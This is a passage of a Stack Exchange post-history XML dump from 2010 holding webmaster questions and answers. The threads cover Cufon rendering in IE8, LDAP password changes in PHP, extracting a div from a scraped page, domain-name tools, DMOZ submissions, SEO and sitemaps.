code only shows you how to get to the content you want *after* authentication.&#xD;&#xA;&#xD;&#xA;  [1]: http://us3.php.net/manual/en/function.file-get-contents.php&#xD;&#xA;  [2]: http://us2.php.net/manual/en/class.domdocument.php" />
  <row Id="5865" PostHistoryTypeId="2" PostId="2988" RevisionGUID="f86eb38b-eeee-4eb6-b6c5-6546f7e0c7ed" CreationDate="2010-09-13T14:22:58.667" UserId="442" Text="I have a perculiar issue. In IE8 standards mode text replaced by Cufon.Replace works roughly 50% of the time, the rest of the time the DOM modifications are there (viewed through IE developer toolbar in IE8) but no text actually appears.&#xD;&#xA;&#xD;&#xA;Sometimes have to refresh the page a number of times to be able to recreate it; others it works first page load - this is the case for a site you have never visited.&#xD;&#xA;&#xD;&#xA;The Cufon.Replace isn't throwing an exception or producing any other issue. Googling hasn't helped - others mention issues in IE8, but this lack of text is permanent and not just a slow loading issue." />
  <row Id="5866" PostHistoryTypeId="1" PostId="2988" RevisionGUID="f86eb38b-eeee-4eb6-b6c5-6546f7e0c7ed" CreationDate="2010-09-13T14:22:58.667" UserId="442" Text="Cufon text replacement and IE8 standards mode" />
  <row Id="5867" PostHistoryTypeId="3" PostId="2988" RevisionGUID="f86eb38b-eeee-4eb6-b6c5-6546f7e0c7ed" CreationDate="2010-09-13T14:22:58.667" UserId="442" Text="&lt;web-development&gt;&lt;internet-explorer&gt;&lt;fonts&gt;" />
  <row Id="5868" PostHistoryTypeId="2" PostId="2989" RevisionGUID="6270ec5c-efa9-4e33-b570-e10f9dfbb84b" CreationDate="2010-09-13T14:24:12.820" UserId="1253" Text="[This page][1] seems to show how to do it:&#xD;&#xA;&#xD;&#xA;&gt;Once you've started using LDAP for authentication, you'll probably want to let your users change their passwords. Since they might not want to/be able to do a shell login, and change their password with ldappasswd(1), something else, and more user friendly would be nice.&#xD;&#xA;&#xD;&#xA;&gt;I chose using PHP, which I have compiled with LDAP support. Using Apache with SSL support, the passwords didn't have to travel over the wire in plaintext.&#xD;&#xA;&#xD;&#xA;&gt;Now, users should only be able to change their own passwords, and nothing but the password. This was acheived with this stanza in slapd.conf&#xD;&#xA;    &#xD;&#xA;    access to attr=userPassword&#xD;&#xA;    by self write&#xD;&#xA;    by anonymous auth&#xD;&#xA;    by * none&#xD;&#xA;    &#xD;&#xA;&gt;The next step then, is authenticating the user, by doing an ldap bind with his credentials:&#xD;&#xA;    &#xD;&#xA;    &lt;?php    &#xD;&#xA;        if(isset($username) and isset($newpass) and isset($oldpass)) {&#xD;&#xA;            $ldapconn = ldap_connect(&quot;ldap.example.com&quot;, 389);&#xD;&#xA;            $ldapbind = @ldap_bind($ldapconn,&quot;uid=&quot;.$username.&quot;,dc=example,dc=com&quot;,$oldpass);&#xD;&#xA;            if($ldapbind) {&#xD;&#xA;        &#xD;&#xA;                // If the bind with the old password succeeds, the user has entered the right username/password combination. To change the passwd we then do:&#xD;&#xA;        &#xD;&#xA;                print &quot;&lt;p&gt;Change password &quot;;&#xD;&#xA;                if(ldap_mod_replace ($ldapconn, &quot;uid=&quot;.$username.&quot;,dc=example,dc=com&quot;, &#xD;&#xA;                    array('userpassword' =&gt; &quot;{MD5}&quot;.base64_encode(pack(&quot;H*&quot;,md5($newpass))) { &#xD;&#xA;                    print &quot;succeded&quot;; &#xD;&#xA;                } &#xD;&#xA;                else { &#xD;&#xA;                    print &quot;failed&quot;; &#xD;&#xA;                }&#xD;&#xA;                print &quot;.&lt;/p&gt;\n&quot;;&#xD;&#xA;            }&#xD;&#xA;    ?&gt;&#xD;&#xA;  [1]: http://logout.sh/computers/ldap/" />
  <row Id="5869" PostHistoryTypeId="5" PostId="2988" RevisionGUID="8329cb70-8444-413b-bf3a-e71ef95095d7" CreationDate="2010-09-13T14:37:47.457" UserId="442" Comment="Added more information; added 21 characters in body" Text="I have a perculiar issue. In IE8 standards mode text replaced by `Cufon.Replace` &lt;strike&gt;works roughly 50% of the time, the rest of the time&lt;/strike&gt; the DOM modifications are there (viewed through IE developer toolbar in IE8) but no text actually appears.&#xD;&#xA;&#xD;&#xA;Sometimes have to refresh the page a number of times to be able to recreate it; others it works first page load - this is the case for a site you have never visited.&#xD;&#xA;&#xD;&#xA;The Cufon.Replace isn't throwing an exception or producing any other issue. Googling hasn't helped - others mention issues in IE8, but this lack of text is permanent and not just a slow loading issue.&#xD;&#xA;&#xD;&#xA;**EDIT**: Interestingly wrapping the `Cufon.replace` in the `$(document).ready(function(){});` stopped it from ever working! Something in the DOM is to blame... I presume" />
  <row Id="5870" PostHistoryTypeId="5" PostId="2970" RevisionGUID="7ebd6678-e9d0-4e37-947b-9dfd14466073" CreationDate="2010-09-13T14:43:12.223" UserId="1253" Comment="added 2 characters in body; deleted 243 characters in body" Text="You won't be able to manipulate the URL to get only a portion of the page. So what you'll want to do is grab the page contents via the server-side language of your choice and then parse the HTML. From there you can grab the specific DIV you are looking for and then print that out to your screen. You could also use to remove unwanted content.&#xD;&#xA;&#xD;&#xA;With PHP you could use [`file_get_contents()`][1] to read the file you want to parse and then use [DOMDocument][2] to parse it and grab the DIV you want.&#xD;&#xA;&#xD;&#xA;Here's the basic idea. This is untested but should point you in the right direction:&#xD;&#xA;&#xD;&#xA;    $page = file_get_contents('http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;        // Loop through the DIVs looking for one withan id of &quot;content&quot;&#xD;&#xA;        // Then echo out its contents (pardon the pun)&#xD;&#xA;        if ($div-&gt;getAttribute('id') === 'content') {&#xD;&#xA;             echo $div-&gt;nodeValue;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;  [1]: http://us3.php.net/manual/en/function.file-get-contents.php&#xD;&#xA;  [2]: http://us2.php.net/manual/en/class.domdocument.php" />
  <row Id="5871" PostHistoryTypeId="5" PostId="2988" RevisionGUID="3ff6df1c-10d4-4d5a-83d4-45598007d1b9" CreationDate="2010-09-13T14:43:24.160" UserId="442" Comment="added 141 characters in body; edited tags" Text="I have a perculiar issue. In IE8 standards mode text replaced by `Cufon.Replace` &lt;strike&gt;works roughly 50% of the time, the rest of the time&lt;/strike&gt; the DOM modifications are there (viewed through IE developer toolbar in IE8) but no text actually appears.&#xD;&#xA;&#xD;&#xA;Sometimes have to refresh the page a number of times to be able to recreate it; others it works first page load - this is the case for a site you have never visited.&#xD;&#xA;&#xD;&#xA;The Cufon.Replace isn't throwing an exception or producing any other issue. Googling hasn't helped - others mention issues in IE8, but this lack of text is permanent and not just a slow loading issue.&#xD;&#xA;&#xD;&#xA;**EDIT**: Interestingly wrapping the `Cufon.replace` in the `$(document).ready(function(){});` stopped it from ever working! Something in the DOM is to blame... I presume&#xD;&#xA;&#xD;&#xA;**EDIT 2**: Applying the Cufon.replace manually once the page has fully loaded works. This is strange. Is there a later event than ready?" />
  <row Id="5872" PostHistoryTypeId="6" PostId="2988" RevisionGUID="3ff6df1c-10d4-4d5a-83d4-45598007d1b9" CreationDate="2010-09-13T14:43:24.160" UserId="442" Comment="added 141 characters in body; edited tags" Text="&lt;web-development&gt;&lt;javascript&gt;&lt;internet-explorer&gt;&lt;fonts&gt;" />
  <row Id="5873" PostHistoryTypeId="2" PostId="2990" RevisionGUID="36ac9b62-3ae9-430b-831b-0cb4b6df112d" CreationDate="2010-09-13T15:06:16.750" UserId="125" Text="The website http://bustaname.com is supposed to help you choose a domain name based on keywords you give it. However, you should double check that the names are actually available, since I have heard of cases of the site incorrectly showing a name as available when it really isn't." />
  <row Id="5874" PostHistoryTypeId="2" PostId="2991" RevisionGUID="a88b35b4-45bb-4e41-a296-7df74bb263c3" CreationDate="2010-09-13T15:08:26.520" UserId="125" Text="The website http://instantdomainsearch.com searches common prefixes (.com, .net, and .org) after each character you type. However there are some instances where it reports false positives (i.e. it shows a site as available, when it actually isn't)." />
  <row Id="5875" PostHistoryTypeId="2" PostId="2992" RevisionGUID="6592ce74-47e9-4739-8b58-244e1dce7db8" CreationDate="2010-09-13T15:10:14.077" UserId="1950" Text="The DMOZ is an open directory project for websites, also a recommended way to add your website to in order for search engines to find those new sites, who may not have links to them yet.&#xD;&#xA;This is exactly what you are looking for.&#xD;&#xA;&#xD;&#xA;Ofc. it is not complete, as no other dictionary will be.&#xD;&#xA;But it should give you, categorized by theme etc, a good list of domain names and thus ideas." />
  <row Id="5876" PostHistoryTypeId="2" PostId="2993" RevisionGUID="a5fe8e72-828e-4185-82ad-f700247db044" CreationDate="2010-09-13T15:11:34.010" UserId="125" Text="http://whois.net let's you search by keywords, or you can use their WHOIS lookup, which will suggest similar domains for you." />
  <row Id="5877" PostHistoryTypeId="2" PostId="2994" RevisionGUID="e76c95a0-4d65-493c-86b7-00335f67b626" CreationDate="2010-09-13T15:28:12.930" UserId="1950" Text="I18N – Internationalization&#xD;&#xA;&#xD;&#xA;Multi-Language Management of Content" />
  <row Id="5878" PostHistoryTypeId="16" PostId="2994" RevisionGUID="e76c95a0-4d65-493c-86b7-00335f67b626" CreationDate="2010-09-13T15:28:12.930" UserId="-1" />
  <row Id="5879" PostHistoryTypeId="2" PostId="2995" RevisionGUID="eb0bae65-b694-4425-942d-44e3873a8a43" CreationDate="2010-09-13T15:31:47.560" UserId="1950" Text="AJAX Support&#xD;&#xA;(Optionally) provide REST service or JSONP callbacks to allow hosting APIs and javascript-heavy applications / extensions." />
  <row Id="5880" PostHistoryTypeId="16" PostId="2995" RevisionGUID="eb0bae65-b694-4425-942d-44e3873a8a43" CreationDate="2010-09-13T15:31:47.560" UserId="-1" />
  <row Id="5881" PostHistoryTypeId="2" PostId="2996" RevisionGUID="1f264ff1-406b-415a-be9d-c7409cf405e3" CreationDate="2010-09-13T15:48:07.080" UserId="1946" Text="I think you should try to come up with other alternatives but here are some reference articles&#xD;&#xA;&#xD;&#xA;Includes links to Maile and Vanessa on A Webmaster radio chat on this topic&#xD;&#xA;http://luigimontanez.com/2010/stop-using-text-indent-css-trick/&#xD;&#xA;&#xD;&#xA;Maile is a Google Engineer&#xD;&#xA;http://maileohye.com/html-text-indent-not-messing-up-your-rankings/&#xD;&#xA;&#xD;&#xA;It is something Google are going to come up with a solution for, but negative offset and display none are not safe if you take a long term outlook." />
  <row Id="5882" PostHistoryTypeId="5" PostId="2969" RevisionGUID="74c8709a-3e6f-4a0f-b434-e27b3c1f9550" CreationDate="2010-09-13T16:07:34.020" UserId="1939" Comment="added 376 characters in body" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit again:&#xD;&#xA;I went ahead and tried this&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $page = file_get_contents('http://http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;          if ($div-&gt;getAttribute('id') === 'content') {&#xD;&#xA;             echo $div-&gt;nodeValue;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I get some errors,&#xD;&#xA;&#xD;&#xA;    Warning: file_get_contents() [function.file-get-contents]: php_network_getaddresses: getaddrinfo failed: Name or service not known in widget.php on line 2&#xD;&#xA;    &#xD;&#xA;    Warning: file_get_contents(http://http://touch.facebook.com) [function.file-get-contents]: failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in widget.php on line 2&#xD;&#xA;    &#xD;&#xA;    Warning: DOMDocument::loadHTML() [domdocument.loadhtml]: Empty string supplied as input in widget.php on line 4&#xD;&#xA;&#xD;&#xA;Sorry really new to php, trying to understand it. any suggestions?" />
  <row Id="5883" PostHistoryTypeId="5" PostId="2969" RevisionGUID="3becd4dd-212d-4292-be1d-9e01f00f761b" CreationDate="2010-09-13T16:57:55.437" UserId="1939" Comment="added 103 characters in body" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit again:&#xD;&#xA;I went ahead and tried this&#xD;&#xA;&#xD;&#xA;I read the examples for file_get_contents and what's being here looks right, according to example 1&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $page = file_get_contents('http://http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;          if ($div-&gt;getAttribute('id') === 'content') {&#xD;&#xA;             echo $div-&gt;nodeValue;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I get some errors,&#xD;&#xA;&#xD;&#xA;    Warning: file_get_contents() [function.file-get-contents]: php_network_getaddresses: getaddrinfo failed: Name or service not known in widget.php on line 2&#xD;&#xA;    &#xD;&#xA;    Warning: file_get_contents(http://http://touch.facebook.com) [function.file-get-contents]: failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in widget.php on line 2&#xD;&#xA;    &#xD;&#xA;    Warning: DOMDocument::loadHTML() [domdocument.loadhtml]: Empty string supplied as input in widget.php on line 4&#xD;&#xA;&#xD;&#xA;Sorry really new to php, trying to understand it. any suggestions?" />
  <row Id="5884" PostHistoryTypeId="2" PostId="2997" RevisionGUID="966273d7-6e52-43e8-a3e3-65e721d73a01" CreationDate="2010-09-13T17:27:32.133" UserId="1429" Text="Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months.&#xD;&#xA;For some of these sites I had also to resubmit them again in order to see them listed.&#xD;&#xA;&#xD;&#xA;My question is: in case site A does not get listed in DMOZ after a submission, do you know how long should I wait before submitting site A again. I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person.&#xD;&#xA;&#xD;&#xA;Maybe some of you was/is a DMOZ editor and knows the answer.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="5885" PostHistoryTypeId="1" PostId="2997" RevisionGUID="966273d7-6e52-43e8-a3e3-65e721d73a01" CreationDate="2010-09-13T17:27:32.133" UserId="1429" Text="Time to wait before submitting again site to DMOZ.org" />
  <row Id="5886" PostHistoryTypeId="3" PostId="2997" RevisionGUID="966273d7-6e52-43e8-a3e3-65e721d73a01" CreationDate="2010-09-13T17:27:32.133" UserId="1429" Text="&lt;seo&gt;&lt;dmoz&gt;" />
  <row Id="5887" PostHistoryTypeId="5" PostId="2997" RevisionGUID="b1f18222-d2dc-4c23-bde6-3f5091f218db" CreationDate="2010-09-13T17:32:47.407" UserId="1429" Comment="added 6 characters in body" Text="Most sites I have done, got listed in DMOZ. It has always being a very frustrating process that required waiting for months.&#xD;&#xA;For some of these sites I had also to resubmit them again in order to see them listed.&#xD;&#xA;&#xD;&#xA;My question is: in case site A does not get listed in DMOZ after the 1st submission, do you know how long should I wait before submitting site A again? I'm supposing DMOZ does not enjoy receiveing the same site submitted each day by the same person.&#xD;&#xA;&#xD;&#xA;Maybe some of you was/is a DMOZ editor and knows the answer.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;" />
  <row Id="5888" PostHistoryTypeId="2" PostId="2998" RevisionGUID="aa2f937d-6249-47e6-88e1-6a846b461d57" CreationDate="2010-09-13T18:04:33.930" UserId="1857" Text="You do say it's permanent, and not just a slowness to update. But...:&#xD;&#xA;&#xD;&#xA; - Does the second call to Cufon, as described in [&quot;Step 4 – Make Internet Explorer behave&quot; in the docs][1] help?&#xD;&#xA; - Does the HTML validate?&#xD;&#xA; - Are you using an &quot;advanced&quot; selector so that a selector engine (like jQuery's) needs to be loaded, and could there be a race condition with this load?&#xD;&#xA;&#xD;&#xA;If none of the above helps, then maybe you should whip up a minimalistic demo page showing the issue, and write to the Cufón mailing list.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://github.com/sorccu/cufon/wiki/Usage" />
  <row Id="5889" PostHistoryTypeId="5" PostId="2969" RevisionGUID="9263e579-f17b-4aa0-a792-05d195afed8a" CreationDate="2010-09-13T18:10:29.620" UserId="1939" Comment="deleted 501 characters in body" Text="I have this project i'm working on and id like to add a really small list of nearby places using facebooks places in an iframe feature from touch.facebook.com I can easily just use touch.facebook.com/#places.php but then that loads the top bars. &#xD;&#xA;&#xD;&#xA;Anyway, is there a way I could manipulate the URL so that it will only load the places content rather than having the top and bottom menu bars. After looking at the code it looks like there is a div id=content&quot; I was thinking maybe there was a way to make the url so that it will only load that div? I also tried making a url that might just jump down to content using touch.facebook.com/#places.php#content but apparently with that way touch.facebook.com was built that doesn't work. But really i'd rather figure out a way to just load the content. Ay ideas? thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;edit again:&#xD;&#xA;I went ahead and tried this&#xD;&#xA;&#xD;&#xA;I read the examples for file_get_contents and what's being here looks right, according to example 1&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    $page = file_get_contents('http://touch.facebook.com');&#xD;&#xA;    $doc = new DOMDocument();&#xD;&#xA;    $doc-&gt;loadHTML($page);&#xD;&#xA;    $divs = $doc-&gt;getElementsByTagName('div');&#xD;&#xA;    foreach($divs as $div) {&#xD;&#xA;          if ($div-&gt;getAttribute('id') === 'content') {&#xD;&#xA;             echo $div-&gt;nodeValue;&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    ?&gt;&#xD;&#xA;&#xD;&#xA;I get a completely blank page.&#xD;&#xA;&#xD;&#xA;Sorry really new to php, trying to understand it. any suggestions?" />
  <row Id="5891" PostHistoryTypeId="2" PostId="3000" RevisionGUID="db5dc080-7234-4744-91bc-605ff36b4086" CreationDate="2010-09-13T18:52:26.740" UserId="1953" Text="In my experience it depends on goals and your competitive environment. For example if you are hoping to write content that will drive traffic from very long tail keywords that have little or no competition (think Ehow) then keep it on your domain, if you plan to use it for linkbait or hosting other linkable content types, keep it on your domain. If you are in a competitive environment where there aren't a lot of links to be found, I'd place it on it's own domain, often in link dry niches the addition of a unique linking domain can have a substantial impact. (I'd also shell out the hosting fee and host it myself rather then using a .wordpress or .typepad)." />
  <row Id="5892" PostHistoryTypeId="2" PostId="3001" RevisionGUID="bb4934a1-3a21-486d-9ea3-f6e9a15cb516" CreationDate="2010-09-13T20:14:07.760" UserId="1953" Text="It seems to me like have all of your content in a database would be much faster and easier to maintain then digging through a large file system each time you need to make updates. As John Mueller mentioned above the nice URL is not going to make a huge difference in your rankings, however, you want to consider using Mod_Rewrite to keep your existing URLs and their value. IE if:&#xD;&#xA;&#xD;&#xA;example.com/widgets/index.php has 1,000 links pointing to it and you change that to be example.com/pages/widgets.php you risk losing a lot of that value (you can of course redirect it, but it's debatable whether or not that will pass the same value)&#xD;&#xA;&#xD;&#xA;My recommendation would be if you are continuing to serve static content continue using the file system, if you are converting it to dynamic content use the Mod_Rewrite to keep your current URL structure in tact. Or if it's not possible to maintain the current structure use the Mod_Rewrite to create a structure that will be stable for future updates." />
  <row Id="5893" PostHistoryTypeId="2" PostId="3002" RevisionGUID="c727e5ee-f2fb-43fd-ad80-e36a6c44a40a" CreationDate="2010-09-13T20:52:40.840" UserId="745" Text="Here's how I would use it:&#xD;&#xA;&#xD;&#xA; - Set the limit so it won't exceed the $100.&#xD;&#xA; - Use it to split-test the&#xD;&#xA;   click-through rates of the page&#xD;&#xA;   titles and descriptions of your most&#xD;&#xA;   popular or important pages, with the ad title simulating your page title and the ad text as your meta description.&#xD;&#xA; - Use the most successful page titles and meta descriptions on your site." />
  <row Id="5894" PostHistoryTypeId="2" PostId="3003" RevisionGUID="50c5ed8f-3ecd-4261-ae74-b6616bd7ecb4" CreationDate="2010-09-13T21:15:56.150" UserId="108" Text="My issue is with RSS in general. It isn't that it is a mess in an of itself but that there are so many different versions of it and such that it makes it annoying to know which one is really the &quot;right&quot; one.&#xD;&#xA;&#xD;&#xA;On top of that there is also Atom which was built to resolve the version issues of RSS but in reality just created one more faction in the debate.&#xD;&#xA;&#xD;&#xA;Finally, if you want a confusing tale, check out the history of RSS here, http://en.wikipedia.org/wiki/Rss." />
  <row Id="5895" PostHistoryTypeId="16" PostId="3003" RevisionGUID="50c5ed8f-3ecd-4261-ae74-b6616bd7ecb4" CreationDate="2010-09-13T21:15:56.150" UserId="-1" />
  <row Id="5896" PostHistoryTypeId="2" PostId="3004" RevisionGUID="dcfc342e-599f-4ea8-a106-a5641a7c14b0" CreationDate="2010-09-13T22:45:09.347" UserId="1064" Text="&gt; An ODP editor will review your&#xD;&#xA;&gt; submission to determine whether to&#xD;&#xA;&gt; include it in the directory. Depending&#xD;&#xA;&gt; on factors such as the volume of&#xD;&#xA;&gt; submissions to the particular&#xD;&#xA;&gt; category, it may take several weeks or&#xD;&#xA;&gt; more before your submission is&#xD;&#xA;&gt; reviewed. Please only submit a URL to&#xD;&#xA;&gt; the Open Directory once.&#xD;&#xA;&#xD;&#xA;[DMOZ Submission Guidelines][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dmoz.org/add.html" />
  <row Id="5897" PostHistoryTypeId="2" PostId="3005" RevisionGUID="94b69d0d-4a56-4323-962a-f6666ddf951e" CreationDate="2010-09-13T22:50:34.563" UserId="1064" Text="Having spent a fair amount of time reading [RFC's][1], I would not say I have observed the phenomenon you're talking about with [internet standards][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ietf.org/rfc.html&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Internet_standard" />
  <row Id="5898" PostHistoryTypeId="16" PostId="3005" RevisionGUID="94b69d0d-4a56-4323-962a-f6666ddf951e" CreationDate="2010-09-13T22:50:34.563" UserId="-1" />
  <row Id="5900" PostHistoryTypeId="2" PostId="3006" RevisionGUID="bcd823ef-fc5c-4b44-885d-6862beada88f" CreationDate="2010-09-14T02:32:24.967" UserId="835" Text="We have a site with a lot of pages. We are in some of the final stages of redesigning the site and am looking for some examples of good site map designs we can be inspired by.&#xD;&#xA;&#xD;&#xA;Have you seen any good designs we can look at to be inspired by?" />
  <row Id="5901" PostHistoryTypeId="1" PostId="3006" RevisionGUID="bcd823ef-fc5c-4b44-885d-6862beada88f" CreationDate="2010-09-14T02:32:24.967" UserId="835" Text="Looking for ideas for a site map page on the website" />
  <row Id="5902" PostHistoryTypeId="3" PostId="3006" RevisionGUID="bcd823ef-fc5c-4b44-885d-6862beada88f" CreationDate="2010-09-14T02:32:24.967" UserId="835" Text="&lt;website-design&gt;&lt;sitemap&gt;" />
  <row Id="5903" PostHistoryTypeId="16" PostId="3006" RevisionGUID="bcd823ef-fc5c-4b44-885d-6862beada88f" CreationDate="2010-09-14T02:32:24.967" UserId="835" />
  <row Id="5904" PostHistoryTypeId="2" PostId="3007" RevisionGUID="8e8b943f-a1b1-4c4b-893c-4a40522628a1" CreationDate="2010-09-14T02:46:42.297" UserId="1253" Text="[Footer sitemaps][1] are very common nowadays.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.webdesignerwall.com/trends/modern-sitemap-and-footer/" />
  <row Id="5905" PostHistoryTypeId="16" PostId="3007" RevisionGUID="8e8b943f-a1b1-4c4b-893c-4a40522628a1" CreationDate="2010-09-14T02:46:42.297" UserId="-1" />
  <row Id="5906" PostHistoryTypeId="2" PostId="3008" RevisionGUID="8930d118-a3e9-405a-b326-b731863aa1ca" CreationDate="2010-09-14T04:04:36.463" UserId="1509" Text="&quot;Clean URLS&quot; often means no file ext; it helps hide implementation details from the viewer. The advantage of that is when you decide to move your site from say, PHP to Ruby on Rails, you can do so without changing a single URL.&#xD;&#xA;&#xD;&#xA;Now, while its possible to run your site with ASP.net and have filenames ending in .php if you want to keep your URLS intact, it seems to make more sense to do them in such a way that the issue never has to come up. &#xD;&#xA;&#xD;&#xA;    http://www.example.com/news/2010/10/our-new-url-system/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Can always be a good URL, even if you completely change the underlying architecture, or go from static files to dynamic ones .. or the reverse." />
  <row Id="5907" PostHistoryTypeId="2" PostId="3009" RevisionGUID="2980526e-21ab-4ba5-a8b6-9515ea189227" CreationDate="2010-09-14T07:08:29.450" UserId="1961" Text="You can stop the normal event of the click by adding something like this:&#xD;&#xA;&#xD;&#xA;    $(&quot;#linkButtonId&quot;).click( function (event){&#xD;&#xA;     event.preventDefault(); event.stopPropagation();&#xD;&#xA;     // things that should happen in this function on click&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;more info on preventDefault and stopPropagation can be found &lt;a href=&quot;http://www.w3.org/TR/DOM-Level-2-Events/events.html&quot;&gt;here&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;This will prevent the submitting of your form or in my example the click on a link." />
  <row Id="5908" PostHistoryTypeId="2" PostId="3010" RevisionGUID="857512ce-2199-4996-8722-d3d97ea63cf0" CreationDate="2010-09-14T09:13:04.407" UserId="233" Text="You'd need to wait at least two months (if not three) to ensure your site has been rejected.&#xD;&#xA;&#xD;&#xA;If your site was not listed then obviously you need to look at the reasons why. Make some changes to the site if necessary, then resubmit." />
  <row Id="5909" PostHistoryTypeId="2" PostId="3011" RevisionGUID="95f41657-cdbc-4479-b83b-513d7f30182b" CreationDate="2010-09-14T09:52:49.217" UserId="1306" Text="I'd tidy the JS up a bit into a single document ready, and move the place where the function showHeader is defined to before where it is called.&#xD;&#xA;&#xD;&#xA;However, I think the main problem is being caused by the fact that inside the captcha div you have a script from Google that loads the Captcha content. I've seen something similar in the past with Colorbox and dynamically added content (in that case it was videos).&#xD;&#xA;&#xD;&#xA;The solution is to separate the contents of the `#recaptcha` div into a separate file and let Colorbox inject it into the DOM onclick.&#xD;&#xA;&#xD;&#xA;    $(&quot;a.captcha&quot;).colorbox({&#xD;&#xA;        width: &quot;30%&quot;,&#xD;&#xA;        href: &quot;recaptcha.html&quot; //or .php or whatever&#xD;&#xA;    });" />
  <row Id="5910" PostHistoryTypeId="5" PostId="3011" RevisionGUID="e7bd1b14-d808-426d-8daf-ef6e5f5e4b0b" CreationDate="2010-09-14T10:03:07.343" UserId="1306" Comment="added 358 characters in body" Text="I'd tidy the JS up a bit into a single document ready, and move the place where the function showHeader is defined to before where it is called.&#xD;&#xA;&#xD;&#xA;However, I think the main problem is being caused by the fact that inside the captcha div you have a script from Google that loads the Captcha content. I've seen something similar in the past with Colorbox and dynamically added content (in that case it was videos).&#xD;&#xA;&#xD;&#xA;The solution is to separate the contents of the `#recaptcha` div into a separate file and let Colorbox inject it into the DOM onclick.&#xD;&#xA;&#xD;&#xA;    $(&quot;a.captcha&quot;).colorbox({&#xD;&#xA;        width: &quot;30%&quot;,&#xD;&#xA;        href: &quot;recaptcha.html&quot; //or .php or whatever&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;**Edit:** I edited the JSFiddle provided by Metalshark (+1 for jsfiddle - superb resource) to show that your jQuery works fine:&#xD;&#xA;http://jsfiddle.net/tfcuA/13/ &gt; This revision simply replaces the recaptcha with some test content that isn't dynamically loaded from elsewhere and it works, suggetsing that that the separation solution ought to work as well." />
  <row Id="5911" PostHistoryTypeId="2" PostId="3012" RevisionGUID="82b571e0-f0ae-449e-8b31-324a6be4c9fe" CreationDate="2010-09-14T10:50:16.540" UserId="1867" Text="It turns out that it's a relatively common problem for those using the PHP plugin for reCAPTCHA. I decided to use the plugin code for the server-side part, but manually build the reCAPTCHA form with the given JavaScript and now it works perfectly fine." />
  <row Id="5912" PostHistoryTypeId="2" PostId="3013" RevisionGUID="c1142167-df46-43c3-9af7-c54885148e05" CreationDate="2010-09-14T12:16:10.097" UserId="233" Text="The `&lt;link&gt;` tag appears to have many uses aside from stylesheets. For example the [W3 suggest][1] using it for previous/next/index pages.&#xD;&#xA;&#xD;&#xA;I know that Opera also has a [Navigation toolbar][2] that will show links when present, including Home, Index, Contents, Previous, Next, Copyright, Author and more. (I doubt it is actually used by more than a handful of people.)&#xD;&#xA;&#xD;&#xA;Are there any other attributes that are useful, or other uses for the ones above? What about SEO benefit?&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/TR/html401/struct/links.html#h-12.3&#xD;&#xA;  [2]: http://dev.opera.com/articles/view/supplementary-more-about-the-document/morehead-figure1.png" />
  <row Id="5913" PostHistoryTypeId="1" PostId="3013" RevisionGUID="c1142167-df46-43c3-9af7-c54885148e05" CreationDate="2010-09-14T12:16:10.097" UserId="233" Text="Uses of LINK tag" />
